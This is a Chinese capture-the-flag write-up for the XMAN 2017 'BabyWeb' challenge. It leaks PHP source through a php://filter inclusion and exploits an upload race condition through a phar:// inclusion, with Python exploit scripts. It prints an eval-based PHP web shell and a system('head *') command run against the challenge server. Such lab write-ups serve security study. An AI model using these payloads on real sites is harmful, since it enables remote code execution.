BabyWeb 条件竞争 XMAN 2017

0x00

打开题目后如图,可判断为上传。但是测试上传绕过后,无法绕过,只能上传gif或者jpg,于是考虑文件包含。

对page进行测试,
http://202.112.51.217:8199/index.php?page=php://filter/convert.base64-encode/resource=index
分别拿到对应源码如下:

index.php
<?php
	require("header.php");
	$page="";
	if (isset($_GET['page']))
	{
		$page=strtolower($_GET['page']);
		$page=str_replace("#", "", $page);
		$page=str_replace("'", "", $page);
		$page=$page.".php";
	}
	else
		$page="main.php";
	include($page);
?>
submit.php
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>添加图片</title>
<script language="javascript">
<!--
function isok(theform)
{
if (myform.title.value=="")
  {
    alert("请填写图片标题!");
    myform.title.focus();
    return (false);
  }
  if (myform.url.value=="")
  {
    alert("请填写图片描述!");
    myform.url.focus();
    return (false);
  }
return (true);
}
-->
</script>
<style type="text/css">
<!--
body {
	margin-left: 0px;
	margin-top: 0px;
	margin-right: 0px;
	margin-bottom: 0px;
}
-->
</style>
</head>

<body>
<table width="100%" border="0" align="center" cellpadding="0" cellspacing="0">
  </table>
  
  <table width="100%" border="0" align="center" cellpadding="3" cellspacing="1">
    <tr>
      <td height="30" align="center" bgcolor="799AE1">&nbsp;</td>
    </tr>
	<tr>
      <td height="30" align="center" bgcolor="">&nbsp;</td>
    </tr>
  </table>
<table width="650" border="0" align="center" cellpadding="5" cellspacing="1" >
  <tr>
    <td><form id="myform" name="myform"  enctype="multipart/form-data" method="post" action="upload.php" onSubmit="return isok(this)">
     <table width="650" border="0" align="center" cellpadding="5" cellspacing="1" bgcolor="#DEDFDE">
        <tr>
          <td height="40" colspan="2" bgcolor="#CBD7EE"><div align="center">添加图片信息</div></td>
          </tr>
        <tr>
          <td width="16%" align="center" bgcolor="#FFFFFF">图片标题:</td>
          <td bgcolor="#FFFFFF"><input name="title" type="text" id="title" size="50" /></td>
          </tr>
        <tr>
          <td height="22" align="center" bgcolor="#FFFFFF">图片描述:</td>
          <td height="22" bgcolor="#FFFFFF"><input name="url" type="text" id="url" size="50" /></td>
          </tr>        
        <tr>
          <td height="22" align="center" bgcolor="#FFFFFF">上传图片:</td>
          <td height="22" bgcolor="#FFFFFF"><input name="pic" type="file" id="pic" size="50" /></td>
          </tr>
       
        <tr>
          <td bgcolor="#FFFFFF">&nbsp;</td>
          <td bgcolor="#FFFFFF">            <input type="submit" name="Submit" value="发布图片" />          </td>
          </tr>
      </table>
        </form>
    </td>
  </tr>
</table>
</body>
</html>

view.php
   <div class="container">
	  <form class="form-signin" action="show.php" method="GET">
			<h2 class="form-signin-heading">View</h2>
			<label for="PictureID" class="sr-only">PictureID</label>
			<input type="text" id="PictureID" name="id" class="form-control" placeholder="PictureID" required autofocus>
			<label for="PictureType" class="sr-only">PictureID</label>
			<input type="text" id="PictureType" name="type" class="form-control" placeholder="PictureType">
			<?php
				if(isset($_GET['id'])&&isset($_GET['type']))
				{
					$filename=$_GET['id'].$_GET['type'];
				}
			?>
			<button class="btn btn-lg btn-primary btn-block" type="submit">Submit</button>
		  </form>
		 </div>
upload.php
<html lang="zh-CN">
  <head>
    <meta charset="utf-8">
<?php
$error=$_FILES['pic']['error'];
$tmpName=$_FILES['pic']['tmp_name'];
$name=$_FILES['pic']['name'];
$size=$_FILES['pic']['size'];
$type=$_FILES['pic']['type'];
try{
	if($name!=="")
	{
		$name1=substr($name,-4);
		if(($name1!==".gif") and ($name1!==".jpg"))
		{
			echo "hehe";
			echo "<script language=javascript>alert('不允许的文件类型!');history.go(-1)</script>";
			exit;
		}
		if($type!=="image/jpeg"&&$type!=="image/gif")
		{
			//echo mime_content_type($tmpName);
			echo "<script language=javascript>alert('不允许的文件类型!');history.go(-1)</script>";
			exit;
		}
		if(is_uploaded_file($tmpName)){
			$time=time();
			$rootpath='uploads/'.$time.$name1;
			if(!move_uploaded_file($tmpName,$rootpath)){
				echo "<script language='JavaScript'>alert('文件移动失败!');window.location='index.php?page=submit'</script>";
				exit;
			}
			else{
				sleep(2);				
				if ($type=='image/jpeg')
				{
					$im = @imagecreatefromjpeg($rootpath);
					if(!$im){
					  $im = imagecreatetruecolor(150, 30);
					  $bg = imagecolorallocate($im, 255, 255, 255);
					  $text_color = imagecolorallocate($im, 0, 0, 255);
					  imagefilledrectangle($im, 0, 0, 150, 30, $bg);
					  imagestring($im, 3, 5, 5, "Error loading image", $text_color);
					} else {
						$time=time();
						$new_rootpath='uploads/'.$time.$name1;
						imagejpeg($im,$new_rootpath);
						imagedestroy($im);
					}
				}
				else if ($type=='image/gif')
				{
					$im = @imagecreatefromgif($rootpath);
					if(!$im){
					  $im = imagecreatetruecolor(150, 30);
					  $bg = imagecolorallocate($im, 255, 255, 255);
					  $text_color = imagecolorallocate($im, 0, 0, 255);
					  imagefilledrectangle($im, 0, 0, 150, 30, $bg);
					  imagestring($im, 3, 5, 5, "Error loading image", $text_color);
					} else {
						$time=time();
						$new_rootpath='uploads/'.$time.$name1;
						imagegif($im,$new_rootpath);
						imagedestroy($im);
					}
				}
				unlink($rootpath);
			}
		}
		echo "图片ID:".$time;
	}
}
catch(Exception $e)
{
	echo "ERROR";
}
//
 ?>
 </html>

0x01 分析

  1. 可以发现主要的逻辑在upload.php中,分别对文件名后缀,mime进行了检测,满足要求后进行上传,之间有一个sleep(2),这是触发条件竞争的条件之一。
  2. 在文件上传之后,php会调用GD对文件进行渲染,无法渲染的异常文件会被删除,可渲染的文件中,嵌入的php语句基本被抹除。在删除前我们能够访问到文件即可达成目的。
    :存在特殊构造的png/gif/jpg图片,可绕过二次渲染。此处虽然存在第二条思路,即利用特殊图片绕过GD,进行包含[1]。
  3. 可以发现page包含时是有限制的本地包含,且php版本较高,无法使用%00截断,放弃直接包含,考虑使用phar或者zip协议。

0x02 测试

# encoding: utf-8

import requests

url = "http://202.112.51.217:8199/upload.php"

data = {
    'title': 'admin',
    'url': 'admin'
}

files = {'pic': ('xman.jpg', open("file.zip").read(), 'image/jpeg')}

#可以控制文件名以及文件类型
#可以绕过基于客户端的文件名和文件类型检测

response = requests.post(url, data=data, files=files)
content = response.content
print content

上传文件进行爆破time进行包含,多次尝试后失败,猜测可能存在其他方法更直接获取文件名,可以发现有列目录。

考虑上传后利用python获取文件名,并访问文件。
代码如下:

import requests
url = "http://202.112.51.217:8199/uploads/"
response = requests.get(url)
content = response.content
files = []
for line in content.split("\n"):
    if "href=" in line:
        files.append(line.split("href=\"")[1].split("\">")[0])
filename = files[-1]
print filename
url = "http://202.112.51.217:8199/index.php?page=phar://uploads/"+filename+"/e"
print requests.post(url,data={'c':"system('head *');"}).content

0x03 其他

包含方法:index.php?page=phar://uploads/"+filename+"/e
phar://uploads/filename/e

phar:// php>5.3 file=phar://压缩包(zip).png(.xxx)/内部文件

用法请参考 http://4o4notfound.org/index.php/archives/31/
其中e.php内容为

<?php
@eval($_POST['c']);
?>

[1].http://www.freebuf.com/articles/web/54086.html

xmsec

作者:xmsec
Chief Water dispenser Manager, delivering but striving.
GitHub